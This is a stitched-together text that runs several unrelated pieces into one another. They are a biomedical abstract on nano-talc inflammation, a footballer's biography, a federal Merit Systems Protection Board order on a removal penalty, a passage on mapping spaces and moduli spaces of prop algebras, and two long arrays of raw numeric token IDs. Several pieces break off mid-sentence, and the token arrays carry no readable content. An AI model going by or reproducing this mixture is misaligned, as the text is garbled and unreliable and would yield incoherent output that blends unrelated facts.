reduction of talc from micro- to nanoscale gradually enhanced its cytotoxicity however its inflammatory potential is still not explored. In the current study we observed increased TNF-alpha, IL-1beta and IL-6 mRNA levels in macrophages exposed to Nano-Talc (NT). Further, NT particles also showed constituent phosphorylation of both p38 and ERK1/2 pathway however JNK phosphorylation was transient. Pre-treatment of macrophages with p38 and ERK1/2 inhibitors either alone or in combination showed significant reduction in TNF-alpha mRNA stability, clearly suggesting their role in TNF-alpha mRNA stabilization and expression. Our observations clearly demonstrated the inflammatory potential of NT particles which might be at least partial and potential mechanism in talc mediated pathogenecity in the exposed population.Christopher Chizoba Christopher Chizoba (born 17 June 1991) is a Nigerian professional footballer who plays as a striker for Welwalo Adigrat. Career Through his career Chizoba has played at various clubs around Kolkata and once in North-East India. He started at Kalighat MS before joining Mohammedan. He then moved to Shillong Lajong of the I-League for a bit before rejoining Kalighat MS. He then ended up playing for Peerless in the Calcutta Football League. On 4 December 2013 it was officially announced that Chizoba had signed with Mohun Bagan A.C. of the I-League. He made his debut on 6 December 2013 against United S.C. at the Salt Lake Stadium in which he scored 2 goals in the 20th and 45+1st minutes respectively and played till 90+8th minutes before being replaced by Aiborlang Khongjee as Mohun Bagan won the match 4-0. Chizoba announced on his Facebook page in 2019, that he had joined Welwalo Adigrat. References Category:1991 births Category:Living people Category:Nigerian footballers Category:Mohammedan S.C. (Kolkata) players Category:Shillong Lajong F.C. players Category:Mohun Bagan A.C. players Category:Ayeyawady United F.C. players Category:Association football forwards Category:I-League players Category:I-League 2nd Division players Category:Nigerian expatriates in India Category:Expatriate footballers in India Category:Expatriate footballers in Myanmar UNITED STATES OF AMERICA MERIT SYSTEMS PROTECTION BOARD RODNEY HOWERTON, DOCKET NUMBER Appellant, PH-0752-13-0292-I-1 v. DEPARTMENT OF DEFENSE, DATE: August 21, 2014 Agency. THIS FINAL ORDER IS NONPRECEDENTIAL 1 Randolph A. Elliott, Camp Hill, Pennsylvania, for the appellant. Karen L. Saxton, New Cumberland, Pennsylvania, for the agency. BEFORE Susan Tsui Grundmann, Chairman Anne M. Wagner, Vice Chairman Mark A. Robbins, Member FINAL ORDER ¶1 The agency has filed a petition for review of the initial decision, which sustained the agency’s sole charge of Conduct Unbecoming a Federal Employee but mitigated the penalty to a 90-day suspension. For the reasons discussed 1 A nonprecedential order is one that the Board has determined does not add significantly to the body of MSPB case law. Parties may cite nonprecedential orders, but such orders have no precedential value; the Board and administrative judges are not required to follow or distinguish them in any future decisions. In contrast, a precedential decision issued as an Opinion and Order has been identified by the Board as significantly contributing to the Board’s case law. See 5 C.F.R. § 1201.117(c). 2 below, we GRANT the agency’s petition for review, AFFIRM the initial decision IN PART, VACATE it IN PART, and reinstate the agency’s penalty of removal. ¶2 Following his arrest at work for off-duty misconduct, the agency placed the appellant on administrative leave and then indefinitely suspended him. Initial Appeal File (IAF), Tab 6 at 22-32, 43. The appellant did not appeal his suspension. He pleaded guilty in state court to a single felony count of possession with intent to deliver cocaine and was sentenced to 2 years of probation. Id. at 43. The agency issued a notice of proposed removal and, following the appellant’s oral and written replies, removed him on a single charge of Conduct Unbecoming a Federal Employee. Id. at 51-56. The appellant appealed to the Board. IAF, Tab 1. Following a hearing, the administrative judge found that the agency established the charged off-duty misconduct and a nexus between the misconduct and the efficiency of the service. IAF, Tab 17, Initial Decision (ID) at 5. Although the administrative judge rejected the appellant’s affirmative defense of race discrimination regarding the agency’s choice of penalty, he mit

[ 10, 11189, 835, 370, 57, 5, 310, 247, 7691, 2560, 386, 1789, 273, 669, 1588, 92, 36, 724, 285, 370, 58, 5, 247, 13244, 386, 1789, 273, 669, 1588, 92, 37, 3363, 187, 187, 1231, 588, 897, 253, 5426, 273, 10603, 8470, 3066, 7349, 303, 40869, 13009, 15, 380, 4737, 2987, 347, 973, 342, 45666, 13009, 15, 380, 3067, 4346, 3019, 39, 13, 40, 1009, 14757, 271, 3067, 4346, 387, 253, 1268, 273, 10659, 9050, 3318, 39, 8048, 1588, 92, 36, 4799, 3442, 889, 918, 33028, 84, 61, 1588, 92, 37, 4799, 3442, 17168, 40, 4700, 3954, 1339, 669, 2162, 27, 34, 1743, 14696, 889, 4287, 14694, 378, 1743, 14696, 724, 320, 247, 1720, 6368, 7691, 11457, 875, 1720, 6368, 7691, 2560, 386, 5113, 273, 669, 1588, 92, 36, 4799, 3442, 3363, 831, 310, 6425, 13, 407, 5426, 13, 281, 1333, 326, 323, 1046, 7007, 370, 83, 5, 253, 3711, 3318, 1035, 2260, 1337, 2162, 11824, 83, 27, 45, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 61, 4287, 14694, 378, 63, 83, 1890, 5802, 407, 669, 2162, 5, 285, 253, 298, 16464, 1789, 5140, 370, 45, 1743, 14696, 94, 34, 5, 310, 247, 7691, 11457, 275, 669, 1588, 92, 36, 3363, 1281, 441, 1908, 253, 7450, 483, 1764, 38651, 92, 187, 45, 63, 83, 34, 61, 274, 60, 83, 9955, 274, 60, 69, 35830, 45, 63, 83, 61, 2162, 94, 708, 329, 63, 83, 61, 274, 60, 69, 62, 3202, 187, 45, 63, 83, 35, 61, 274, 60, 83, 62, 708, 418, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 187, 10878, 380, 958, 326, 669, 2162, 5, 310, 247, 1720, 6368, 7691, 11457, 8018, 326, 323, 1046, 370, 83, 1366, 253, 3711, 370, 45, 63, 83, 61, 2162, 5, 310, 247, 7691, 11457, 15, 3932, 7691, 2560, 569, 403, 6474, 762, 7450, 8349, 13, 253, 3711, 370, 34, 63, 83, 61, 4287, 418, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 5, 310, 671, 247, 7691, 11457, 15, 2896, 9376, 13, 253, 7349, 303, 40869, 1789, 370, 34, 1743, 14696, 724, 310, 1720, 6368, 7691, 2560, 386, 13, 594, 352, 310, 275, 1798, 1127, 3020, 7691, 2560, 386, 15, 844, 27566, 326, 370, 45, 63, 83, 35, 61, 21592, 16104, 578, 45, 63, 83, 34, 94, 34, 63, 83, 5, 310, 7691, 2560, 386, 15, 10244, 13, 1016, 370, 35, 63, 83, 5, 310, 7691, 2560, 386, 1580, 370, 35, 1743, 14696, 724, 310, 1720, 6368, 7691, 2560, 386, 15, 380, 3711, 9722, 2260, 1337, 2162, 11824, 83, 5, 310, 247, 7691, 11457, 875, 7691, 2560, 386, 5113, 285, 370, 39, 5, 310, 247, 1669, 3277, 408, 257, 27259, 13, 594, 370, 39, 9, 1035, 2260, 1337, 2162, 11824, 83, 1009, 310, 247, 7691, 11457, 273, 669, 1588, 92, 37, 724, 875, 7691, 2560, 386, 5113, 15, 28285, 326, 253, 370, 83, 768, 394, 724, 298, 16464, 1789, 5140, 310, 2931, 407, 247, 847, 16563, 15, 1284, 247, 1669, 39200, 13, 253, 27259, 370, 39, 5, 764, 2279, 342, 847, 27368, 594, 359, 755, 247, 7691, 11457, 3318, 45, 63, 83, 39, 9, 35, 1743, 14696, 8395, 21592, 16104, 578, 45, 63, 83, 39, 9, 34, 1743, 14696, 22613, 39, 9, 34, 63, 83, 1572, 4287, 14694, 401, 9, 35, 63, 83, 11127, 831, 2097, 326, 370, 39, 1035, 2162, 1009, 310, 247, 1720, 6368, 7691, 11457, 275, 669, 1588, 92, 37, 4799, 3442, 3363, 3954, 13, 1677, 326, 1720, 6368, 5075, 5217, 2979, 403, 253, 1127, 3020, 5217, 2979, 13, 604, 669, 2162, 5, 310, 247, 1720, 6368, 5075, 19945, 875, 1720, 6368, 7691, 2560, 386, 5113, 840, 352, 310, 275, 1798, 247, 1127, 3020, 5075, 19945, 875, 1127, 3020, 7691, 2560, 386, 5113, 13, 7613, 370, 39, 1035, 2162, 1009, 310, 247, 1720, 6368, 5075, 19945, 275, 669, 1588, 92, 37, 4799, 3442, 3363, 844, 7525, 326, 370, 39, 5, 14757, 247, 1669, 3277, 408, 257, 27259, 875, 7349, 303, 40869, 5113, 323, 253, 1720, 6368, 1566, 5289, 15, 496, 1798, 13, 352, 16965, 667, 7349, 303, 40869, 3665, 273, 247, 7691, 2560, 386, 1789, 370, 57, 5, 273, 669, 1588, 92, 36, 724, 281, 247, 7349, 303, 40869, 3665, 273, 370, 39, 9, 57, 3822, 187, 187, 510, 20169, 1840, 6556, 604, 253, 7349, 303, 40869, 3665, 323, 253, 1669, 14, 4608, 10603, 2317, 310, 6777, 281, 320, 253, 2460, 762, 370, 39, 5, 273, 253, 7349, 303, 40869, 3665, 273, 253, 987, 14, 4608, 10603, 2317, 15, 1292, 6983, 326, 7349, 303, 40869, 13009, 327, 247, 1677, 1789, 403, 512, 22112, 6425, 13, 594, 326, 323, 667, 4327, 273, 7349, 303, 40869, 3665, 359, 755, 387, 1878, 22112, 6425, 10603, 8470, 15, 187, 187, 4120, 22357, 8470, 273, 8697, 5289, 689, 247, 4198, 187, 43500, 187, 187, 34, 34838, 2317, 273, 8697, 5289, 689, 247, 4198, 370, 49, 1366, 327, 247, 1677, 2570, 370, 57, 1366, 310, 247, 45666, 873, 3692, 2792, 403, 253, 4198, 45278, 370, 49, 61, 4287, 8072, 64, 57, 1352, 6102, 247, 34838, 2317, 476, 320, 625, 3839, 2931, 327, 21302, 273, 820, 10050, 12872, 15, 187, 187, 1466, 370, 49, 5, 247, 7691, 2560, 386, 4198, 285, 370, 57, 5, 320, 247, 820, 10050, 2570, 15, 380, 34838, 2317, 273, 370, 49, 2911, 20190, 5289, 327, 370, 57, 5, 310, 253, 45666, 873, 31506, 2931, 407, 3318, 49, 6921, 57, 61, 4203, 18968, 1126, 1588, 92, 49, 4935, 49, 61, 5786, 61, 3442, 1743, 14696, 2023, 7689, 64, 57, 11189, 835, 370, 49, 61, 5786, 61, 3442, 1743, 14696, 724, 310, 247, 7349, 303, 40869, 6064, 273, 370, 49, 1366, 390, 3318, 49, 6921, 57, 61, 4203, 18968, 1126, 1588, 92, 49, 4935, 49, 13, 7689, 64, 57, 1743, 3442, 1743, 14696, 599, 11127, 835, 370, 7689, 64, 57, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 6064, 273, 370, 7689, 64, 57, 1352, 3932, 1046, 820, 10050, 2570, 689, 247, 1673, 310, 13244, 386, 285, 7691, 2560, 386, 13, 1046, 277, 72, 4198, 310, 13244, 386, 27, 253, 958, 326, 370, 49, 5, 310, 7691, 2560, 386, 285, 370, 7689, 64, 57, 5, 310, 13244, 386, 8018, 326, 841, 767, 42764, 1918, 253, 1072, 34838, 2317, 598, 281, 32866, 15, 187, 187, 1231, 476, 2168, 755, 767, 4722, 3607, 273, 841, 34838, 8470, 27, 187, 187, 22229, 18, 10, 380, 45666, 873, 370, 49, 6921, 57, 10952, 310, 247, 20626, 2570, 285, 697, 4802, 4295, 1918, 253, 5217, 2979, 5971, 273, 370, 49, 2911, 20190, 5289, 327, 370, 57, 1366, 891, 15, 70, 1764, 2059, 64, 17, 49, 6921, 57, 22092, 14829, 544, 49, 13, 7689, 64, 57, 35830, 24721, 1035, 1588, 92, 49, 2311, 10878, 187, 187, 22229, 19, 10, 6000, 5075, 19945, 273, 7691, 2560, 386, 29060, 370, 49, 61, 23386, 464, 3549, 2704, 4287, 94, 50, 5, 4245, 6054, 281, 247, 5075, 19945, 273, 13244, 386, 45666, 5239, 370, 50, 6921, 57, 22092, 23386, 464, 3549, 2704, 4287, 94, 49, 6921, 57, 19562, 187, 187, 6872, 3607, 3587, 3637, 432, 253, 3607, 273, 45666, 10603, 8470, 275, 1566, 9050, 1008, 41, 343, 1570, 380, 2169, 8077, 1271, 273, 841, 34838, 8470, 22573, 2169, 45666, 27999, 412, 447, 875, 27999, 412, 447, 15, 187, 187, 2214, 277, 72, 29060, 359, 476, 2686, 755, 6843, 45666, 30285, 27, 187, 187, 1466, 370, 49, 5, 320, 247, 4198, 275, 370, 1779, 1126, 1991, 92, 44, 11971, 1281, 441, 4853, 370, 49, 1743, 3442, 1743, 14696, 4018, 407, 3318, 49, 1743, 3442, 1743, 14696, 4935, 78, 13, 79, 4010, 49, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 1743, 14696, 94, 16489, 835, 370, 34, 578, 3859, 724, 12853, 26211, 457, 84, 27259, 273, 5313, 3020, 4872, 4948, 313, 2887, 1008, 52, 335, 2498, 2635, 370, 49, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 6064, 273, 370, 49, 5, 275, 253, 7140, 273, 277, 72, 29060, 15, 187, 187, 7542, 1046, 277, 72, 4198, 310, 13244, 386, 13, 2556, 281, 1008, 41, 343, 1092, 667, 45666, 3665, 327, 247, 277, 72, 4198, 310, 3021, 247, 45666, 6064, 15, 844, 816, 452, 281, 5276, 326, 49960, 15207, 3442, 1743, 14696, 4018, 310, 247, 45666, 3665, 15, 187, 187, 1466, 441, 806, 921, 326, 370, 49, 1743, 3442, 1743, 14696, 4018, 310, 247, 45666, 1789, 275, 29060, 15, 844, 30787, 1016, 370, 49, 1743, 3442, 63, 76, 3303, 370, 76, 61, 249, 61, 1991, 92, 47, 3303, 342, 253, 1563, 9118, 5889, 3580, 1764, 2043, 92, 2132, 94, 187, 61, 5574, 64, 87, 768, 49, 1743, 3442, 63, 76, 599, 27, 49, 1743, 3442, 63, 76, 1603, 77, 13, 79, 1572, 5786, 367, 1743, 3442, 63, 76, 1603, 78, 13, 77, 10, 708, 393, 14829, 708, 367, 9, 77, 13, 79, 1572, 5786, 367, 9, 78, 13, 77, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 187, 61, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 3202, 187, 708, 393, 23386, 464, 5574, 64, 87, 63, 49, 61, 5786, 61, 1906, 64, 76, 2704, 4287, 94, 708, 367, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 4010, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1572, 423, 92, 2132, 2138, 835, 669, 5574, 64, 87, 63, 49, 5, 310, 253, 9118, 5889, 1885, 273, 370, 49, 5, 285, 669, 1906, 64, 76, 5, 253, 1885, 273, 253, 277, 72, 33796, 8697, 370, 34, 578, 3859, 3713, 3442, 63, 76, 4244, 285, 253, 1563, 11593, 5889, 3580, 1764, 2043, 92, 2132, 94, 187, 61, 5574, 64, 73, 768, 49, 1743, 3442, 63, 76, 599, 27, 49, 1743, 3442, 63, 76, 1603, 78, 64, 18, 13, 79, 64, 18, 1572, 5786, 367, 1743, 3442, 63, 76, 1603, 78, 64, 19, 13, 79, 64, 19, 10, 708, 393, 14829, 708, 367, 9, 78, 64, 18, 13, 79, 64, 18, 1572, 5786, 367, 9, 78, 64, 19, 13, 79, 64, 19, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 187, 61, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 10, 3202, 187, 708, 393, 23386, 464, 5574, 64, 73, 63, 49, 61, 5786, 61, 1906, 64, 76, 2704, 4287, 94, 708, 367, 9, 78, 64, 18, 12, 78, 64, 19, 13, 79, 64, 18, 12, 79, 64, 19, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 4010, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1572, 423, 92, 2132, 2138, 835, 669, 5574, 64, 73, 63, 49, 5, 310, 253, 11593, 5889, 1885, 273, 370, 49, 1352, 380, 1709, 18473, 273, 841, 3580, 3637, 432, 253, 1709, 18473, 273, 669, 5574, 64, 87, 63, 49, 1366, 669, 5574, 64, 73, 63, 49, 5, 285, 669, 1906, 64, 76, 1352, 380, 987, 285, 1669, 5231, 273, 13123, 2390, 327, 370, 49, 1743, 3442, 63, 76, 1603, 78, 13, 79, 1009, 403, 5802, 407, 1110, 327, 370, 49, 9, 78, 13, 79, 3822, 380, 22862, 875, 841, 5231, 285, 253, 5889, 3580, 3249, 3587, 432, 436, 22862, 275, 253, 4198, 2605, 273, 370, 49, 1366, 1580, 253, 1885, 669, 1906, 64, 76, 5, 310, 33796, 15, 380, 28961, 1569, 273, 29060, 310, 9090, 1335, 10048, 15, 380, 5085, 669, 1991, 92, 44, 889, 4287, 367, 9, 79, 13, 79, 1009, 403, 2931, 407, 1764, 1991, 92, 44, 889, 14829, 61, 1991, 92, 44, 889, 5786, 61, 1991, 92, 44, 889, 23386, 464, 1464, 64, 49, 61, 5786, 61, 1464, 64, 76, 2704, 4287, 94, 367, 9, 78, 13, 79, 1572, 5786, 329, 578, 3859, 3713, 3442, 63, 76, 11189, 835, 669, 1464, 64, 49, 5, 310, 253, 3943, 273, 370, 49, 5, 285, 669, 1464, 64, 76, 5, 253, 3943, 273, 370, 34, 578, 3859, 3713, 3442, 63, 76, 3822, 380, 9365, 285, 25273, 19103, 403, 5802, 407, 1110, 273, 669, 3442, 63, 76, 5, 3066, 253, 27259, 451, 414, 273, 370, 34, 578, 3859, 3303, 285, 830, 29060, 45278, 407, 5426, 273, 253, 4198, 2605, 327, 253, 370, 49, 1743, 3442, 63, 76, 724, 313, 2845, 455, 326, 370, 34, 578, 3859, 724, 8115, 45666, 4893, 281, 45278, 273, 33796, 277, 72, 21360, 13, 534, 36437, 342, 3580, 481, 187, 187, 4125, 359, 452, 281, 2451, 253 ]

))$$ where $X$ is a cofibrant object of $\mathcal{C}$ and $Y$ a fibrant object of $\mathcal{D}$. We will use the definition of mapping spaces via cosimplicial frames. The proof works as well with simplicial frames. The adjunction $(F,G)$ induces an adjunction at the level of diagram categories $$F:\mathcal{C}^{\Delta}\rightleftarrows\mathcal{D}^{\Delta}:G.$$ Now let $\phi:A^{\bullet}\rightarrowtail B^{\bullet}$ be a Reedy cofibration between Reedy cofibrant objects of $\mathcal{C}^{\Delta}$. This is equivalent, by definition, to say that for every integer $r$ the map $$(\lambda,\phi)_r:L^rB\coprod_{L^rA}A^r\rightarrowtail B^r$$ induced by $\phi$ and the latching object construction $L^{\bullet}A$ is a cofibration in $\mathcal{C}$. Let us consider the pushout $$\xymatrix{ L^rA\ar[r]\ar[d]_{L^r\phi} & A^r\ar[d] \\ L^rB\ar[r] & L^rB\coprod_{L^rA}A^r }.$$ The fact that $\phi$ is a Reedy cofibration implies that for every $r$, the map $L^r\phi$ is a cofibration. Since cofibrations are stable under pushouts, the map $A^r\rightarrow L^rB\coprod_{L^rA}A^r$ is also a cofibration. By assumption, the cosimplicial object $A^{\bullet}$ is Reedy cofibrant, so it is in particular pointwise cofibrant. We deduce that $L^rB\coprod_{L^rA}A^r$ is cofibrant. Similarly, each $B^r$ is cofibrant since $B^{\bullet}$ is Reedy cofibrant. The map $(\lambda,\phi)_r$ is a cofibration between cofibrant objects and $F$ is a left Quillen functor, so $F((\lambda,\phi)_r)$ is a cofibration of $\mathcal{D}$ between cofibrant objects. Recall that the $r^{th}$ latching object construction is defined by a colimit. As a left adjoint, the functor $F$ commutes with colimits so we get a cofibration $$L^rF(B^{\bullet})\coprod_{L^rF(A^{\bullet})}F(A^r)\rightarrowtail F(B^r).$$ This means that $F(\phi)$ is a Reedy cofibration in $\mathcal{D}^{\Delta}$. Now, given that Reedy weak equivalences are the pointwise equivalences, if $\phi$ is a Reedy weak equivalence between Reedy cofibrant objects then it is in particular a pointwise weak equivalence between pointwise cofibrant objects, hence $F(\phi)$ is a Reedy weak equivalence in $\mathcal{D}^{\Delta}$. We conclude that $F$ induces a left Quillen functor between cosimplicial objects for the Reedy model structures. In particular, it sends any cosimplicial frame of a cofibrant object $X$ of $\mathcal{C}$ to a cosimplicial frame of $F(X)$. The isomorphism above holds if the cosimplicial frame for the left-hand mapping space is chosen to be the image under $F$ of the cosimplicial frame of the right-hand mapping space. But recall that cosimplicial frames on a given object are all weakly equivalent, so that for any choice of cosimplicial frame we get at least weakly equivalent mapping spaces. Moduli spaces of algebra structures over a prop ----------------------------------------------- A moduli space of algebra structures over a prop $P$, on a given complex $X$, is a simplicial set whose points are the prop morphisms $P\rightarrow End_X$. Such a moduli space can be more generally defined on diagrams of cochain complexes. Let $P$ a cofibrant prop and $X$ be a cochain complex. The moduli space of $P$-algebra structures on $X$ is the simplicial set alternatively defined by $$P\{X\}=Mor_{\mathcal{P}}(P\otimes\Delta^{\bullet},End_X)$$ where $P\otimes\Delta^{\bullet}$ is a cosimplicial resolution of $P$, or $$P\{X\}=Mor_{\mathcal{P}}(P,End_X^{\Delta^{\bullet}}).$$ where $End_X^{\Delta^{\bullet}}$ is a simplicial resolution of $End_X$. Since every cochain complex over a field is fibrant and cofibrant, every dg prop is fibrant: the fact that $P$ is cofibrant and $End_X$ is fibrant implies that these two formulae give the same moduli space up to homotopy. We can already get two interesting properties of these moduli spaces: \(1) The simplicial set $P\{X\}$ is a Kan complex and its connected components give the equivalences classes of $P$-algebra structures on $X$, i.e $$\pi_0P\{X\}\cong [P,End_X]_{Ho(\mathcal{P})}.$$ \(2) Every weak equivalence of cofibrant props $P\stackrel{\sim}{\rightarrow}Q$ gives rise to a weak equivalence of fibrant simplicial sets $Q\{X\}\stackrel{\sim}{\rightarrow}P\{X\}$. These properties directly follows from the properties of simplicial mapping spaces in model categories [@Hir]. The higher simplices of these moduli spaces encode higher simplicial homotopies between homotopies. For dg props we can actually get explicit simplicial resolutions: Let $P$ be a prop in $Ch_{\mathbb{K}}$. Let us define $P^{\Delta^{\bullet}}$ by $$P^{\Delta^{\bullet}}(m,n)=P(m,n)\otimes A_{PL}(\Delta^{\bullet}),$$ where $A_{PL}$ denotes Sullivan’s functor of piecewise linear forms (see [@Sul]). Then $P^{\Delta^{\bullet}}$ is a simplicial resolution of $P$ in the category of dg props. Since every dg prop is fibrant, according to [@Hir], any simplicial frame on a dg prop is thus a simplicial resolution. We just have to prove that $(-)^{\Delta^{\bullet}}$ is a simplicial frame. Let us first show that $P^{\Delta^{\bullet}}$ is a simplicial object in props. We equip each $P^{\Delta^k}$, $k\in\mathbb{N}$, with the following vertical composition products $$\begin{aligned} \circ_v^{P^{\Delta^k}}:P^{\Delta^k}(l,n)\otimes P^{\Delta^k}(m,l) & \cong & P(l,n)\otimes P(m,l)\otimes A_{PL}(\Delta^k) \otimes A_{PL}(\Delta^k) \\ & \stackrel{\circ_v^P\otimes\mu_k}{\rightarrow} & P(m,n)\otimes A_{PL}(\Delta^k)=P^{\Delta^k}(m,n)\end{aligned}$$ where $\circ_v^P$ is the vertical composition product of $P$ and $\mu_k$ the product of the dg commutative algebra $A_{PL}(\Delta^k)$, and the following horizontal composition products $$\begin{aligned} \circ_h^{P^{\Delta^k}}:P^{\Delta^k}(m_1,n_1)\otimes P^{\Delta^k}(m_2,n_2) & \cong & P(m_1,n_1)\otimes P(m_2,n_2)\otimes A_{PL}(\Delta^k) \otimes A_{PL}(\Delta^k) \\ & \stackrel{\circ_h^P\otimes\mu_k}{\rightarrow} & P(m_1+m_2,n_1+n_2)\otimes A_{PL}(\Delta^k)=P^{\Delta^k}(m,n)\end{aligned}$$ where $\circ_h^P$ is the horizontal composition product of $P$. The associativity of these products follows from the associativity of $\circ_v^P$, $\circ_h^P$ and $\mu_k$. The right and left actions of symmetric groups on $P^{\Delta^k}(m,n)$ are induced by those on $P(m,n)$. The compatibility between these actions and the composition products comes directly from this compatibility in the prop structure of $P$, since the product $\mu_k$ is commutative. The interchange law of props is obviously still satisfied. The units $\mathbb{K}\rightarrow P(n,n)$ are defined by $$\mathbb{K}\cong\mathbb{K}\otimes\mathbb{K}\stackrel{\eta_P\otimes\eta_k}{\rightarrow} P(m,n)\otimes A_{PL}(\Delta^k)$$ where $\eta_P$ is the unit of $P$ and $\eta_k$ the unit of $A_{PL}(\Delta^k)$. The faces and degeneracies are induced by those of $\Delta^k$ via the functoriality of $A_{PL}$, and form props morphisms by definition of the prop structure on the $P^{\Delta^k}$ (recall that $A_{PL}$ maps simplicial applications to morphisms of commutative dg algebras, which commute with products). Now we have to check the

[ 8445, 7535, 984, 634, 1039, 3198, 7756, 15, 1893, 2139, 403, 368, 42922, 562, 9886, 285, 7437, 273, 616, 7535, 594, 326, 253, 2250, 2098, 4453, 625, 751, 752, 368, 1849, 2168, 644, 2509, 32, 187, 187, 40722, 2596, 27, 1422, 1472, 954, 9848, 342, 752, 368, 1849, 2218, 275, 253, 2469, 15, 11793, 15, 1292, 326, 1694, 368, 1060, 285, 368, 971, 281, 2118, 327, 15, 38733, 625, 273, 253, 1072, 310, 1469, 281, 755, 368, 625, 273, 253, 1072, 15, 187, 187, 40722, 9064, 27, 733, 4815, 1512, 1199, 2583, 15, 34156, 253, 987, 1618, 4815, 2583, 15, 38733, 247, 30959, 273, 495, 14, 21, 7223, 285, 24385, 352, 495, 14, 21, 2069, 4815, 2583, 15, 733, 476, 4815, 247, 4564, 8014, 8918, 15, 1737, 604, 368, 1053, 626, 755, 667, 2380, 32, 187, 187, 1785, 1319, 2451, 27, 496, 1340, 281, 5321, 2583, 285, 1132, 352, 4999, 13, 368, 403, 1077, 33400, 281, 564, 11142, 327, 253, 1618, 13, 513, 247, 337, 14, 19, 3239, 4857, 13, 285, 760, 10280, 352, 2378, 15, 1737, 452, 368, 2218, 32, 1422, 1849, 40569, 281, 253, 3430, 952, 342, 247, 259, 366, 433, 1066, 3935, 13, 285, 368, 6468, 626, 28809, 352, 15, 187, 187, 1989, 387, 1878, 368, 755, 281, 13387, 634, 47267, 2, 2732, 512, 13, 346, 14094, 3, 2086, 1904, 626, 789, 15, 187, 187, 27180, 13, 4565, 16261, 13, 5215, 187, 187, 3220, 11761, 256, 20354, 3101, 908, 281, 897, 253, 3159, 346, 71, 25374, 3, 247, 2257, 15, 3856, 403, 247, 1643, 4648, 323, 253, 3159, 27, 187, 187, 14, 1165, 2338, 14484, 8537, 1475, 8634, 5037, 626, 14484, 91, 342, 326, 15, 187, 187, 1992, 14484, 91, 310, 281, 1132, 342, 1633, 390, 1129, 34630, 342, 352, 672, 368, 943, 320, 6108, 352, 3815, 15, 1198, 1650, 13, 672, 368, 1472, 2403, 1633, 13, 627, 3249, 247, 673, 672, 368, 28400, 352, 275, 1659, 285, 840, 368, 452, 281, 816, 1790, 285, 3343, 15, 187, 187, 2042, 368, 14484, 91, 342, 352, 13, 323, 1650, 407, 4886, 247, 629, 281, 923, 604, 253, 28400, 310, 6079, 13, 368, 1472, 2779, 281, 4796, 253, 3290, 273, 253, 2457, 1885, 15, 733, 434, 417, 326, 368, 588, 23737, 253, 11072, 13, 533, 5046, 326, 581, 5313, 588, 816, 1620, 564, 896, 281, 4555, 835, 352, 369, 6326, 281, 320, 15, 187, 187, 8195, 1650, 310, 672, 368, 4444, 12922, 15, 1422, 3343, 285, 3343, 13, 533, 642, 4444, 4620, 15, 2091, 581, 1388, 627, 434, 247, 1652, 9370, 275, 253, 8825, 13, 368, 971, 281, 11291, 352, 562, 281, 1361, 253, 4444, 2740, 949, 15, 2064, 434, 14484, 8537, 15, 380, 4444, 588, 320, 816, 4030, 1293, 634, 14484, 8537, 15, 187, 187, 1231, 14484, 91, 984, 359, 1472, 15211, 281, 923, 253, 18098, 273, 776, 5299, 15, 844, 1849, 1691, 1633, 2366, 285, 359, 971, 281, 923, 604, 352, 2987, 253, 1039, 352, 434, 6326, 281, 15, 187, 187, 17534, 2223, 13, 359, 14484, 91, 1512, 1199, 342, 776, 9341, 15, 844, 1691, 247, 747, 1232, 275, 1659, 1969, 5046, 388, 5781, 52, 390, 7303, 3238, 15, 2064, 434, 247, 1943, 13, 2201, 1818, 15, 187, 187, 10758, 368, 1056, 247, 1818, 751, 326, 13, 352, 310, 1077, 39189, 281, 14484, 91, 342, 352, 15, 187, 187, 688, 643, 3000, 13, 368, 1053, 626, 1918, 253, 747, 2086, 247, 4839, 1078, 368, 1265, 2403, 1652, 2544, 1060, 285, 627, 15, 1422, 1089, 4834, 11485, 12669, 598, 327, 352, 15, 50000, 247, 1652, 1060, 13, 4882, 247, 1652, 627, 15, 187, 187, 15021, 14484, 8537, 15, 187, 187, 2042, 368, 1849, 1869, 949, 634, 2098, 13, 368, 452, 247, 1175, 2098, 13, 285, 352, 434, 512, 275, 1659, 13, 840, 3553, 352, 3815, 323, 36521, 15, 1281, 253, 2098, 789, 15, 11668, 7211, 13, 4822, 731, 13, 285, 513, 690, 38549, 846, 247, 2180, 273, 673, 15, 187, 187, 688, 253, 22849, 13, 1691, 512, 326, 18349, 285, 11219, 2341, 715, 253, 1735, 2199, 15, 187, 187, 49465, 9491, 327, 10550, 187, 187, 24757, 16103, 323, 3083, 2961, 9491, 187, 187, 1552, 1740, 14, 21970, 873, 310, 253, 25038, 7102, 281, 3083, 2961, 9491, 15, 4325, 253, 2914, 3906, 281, 253, 13817, 7811, 13, 359, 3835, 352, 512, 15, 6000, 4382, 24773, 13, 1046, 7303, 2579, 11716, 13, 1046, 7681, 25021, 2567, 428, 1046, 5547, 2136, 428, 3198, 322, 2795, 84, 2, 187, 187, 3039, 368, 3389, 634, 4870, 285, 7259, 13, 368, 2216, 247, 1039, 323, 634, 2567, 281, 452, 10280, 494, 2323, 15, 1244, 347, 368, 4030, 14, 85, 2517, 1110, 4870, 285, 7259, 13, 368, 2489, 625, 5547, 13, 625, 5919, 13, 285, 625, 27834, 15, 380, 1039, 368, 513, 3253, 310, 634, 7138, 15, 187, 187, 2347, 281, 6304, 2373, 22764, 1020, 13, 21001, 7116, 39607, 327, 6865, 342, 5402, 15023, 10518, 37399, 592, 187, 187, 25074, 10518, 2199, 4323, 310, 3365, 417, 347, 9542, 347, 2199, 4323, 275, 253, 16100, 15, 1292, 1355, 2136, 6493, 452, 253, 1072, 7881, 347, 16100, 6493, 27, 1583, 878, 281, 5115, 616, 7342, 8069, 13, 327, 673, 13, 285, 1561, 7563, 15, 187, 187, 3726, 671, 2454, 253, 1072, 